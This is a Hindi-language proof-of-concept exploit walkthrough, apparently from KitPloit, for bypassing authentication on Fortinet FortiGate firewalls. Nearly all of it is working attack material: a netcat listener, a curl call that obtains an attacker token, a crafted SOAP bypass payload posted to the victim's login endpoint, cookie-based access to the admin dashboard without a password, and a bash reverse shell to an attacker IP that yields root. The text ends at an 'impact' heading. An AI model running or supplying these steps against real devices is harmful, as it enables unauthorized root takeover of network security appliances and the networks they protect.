PoC

1. हमलावर मशीन
   रिवर्स शेल के लिए लिसनर:

   root@kitploit:~

   nc -lvnp 4444
   

2. हमलावर टोकन प्राप्त करें (15 मिनट TTL)

   root@kitploit:~

   curl -k -X POST https://customerapiauth.fortinet.com/api/v1/auth/token \
     -H "Content-Type: application/json" \
     -d '{"username":"[email protected]","password":"AttackerPass123"}'
   

   प्रतिक्रिया (स्निपेट):

   root@kitploit:~

   {"access_token":"eyJ0eXAiOiJKV1QiLCJhbGc...","expires_in":900}
   

   access_token मान कॉपी करें।

3. बाईपास पेलोड बनाएं
   bypass.xml के रूप में सहेजें:

   root@kitploit:~

   <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
     <soapenv:Body>
       <authRequest>
         <serialNumber>FGT80ETK21000000</serialNumber>
         <token>eyJ0eXAiOiJKV1QiLCJhbGc...</token>
         <action>login</action>
       </authRequest>
     </soapenv:Body>
   </soapenv:Envelope>
   

4. पीड़ित को भेजें (उपरोक्त तालिका के अनुसार कोई भी फर्मवेयर ≤)

   root@kitploit:~

   curl -k -X POST https://<VICTIM-IP>:443/remote/logincheck \
     -H "Content-Type: application/xml" \
     --data @bypass.xml \
     -c cookies.txt
   

   HTTP 200 + Set-Cookie: APSCOOKIE=... → सफलता।

5. व्यवस्थापक GUI ब्राउज़ करें
   ब्राउज़र खोलें या सहेजे गए कुकी के साथ curl का उपयोग करें:

   root@kitploit:~

   curl -k -b cookies.txt https://<VICTIM-IP>/ng/
   

   → डैशबोर्ड दिखाई देता है — कोई पासवर्ड नहीं पूछा जाता।

6. रूट शेल (CLI विजेट)
   GUI के अंदर: Dashboard → CLI Console

   root@kitploit:~

   execute bash
   bash-4.4# bash -i >& /dev/tcp/192.168.8.129/4444 0>&1
   

   लिसनर प्राप्त करता है:

   root@kitploit:~

   root@FGT80ETK21000000:/#
   

प्रभाव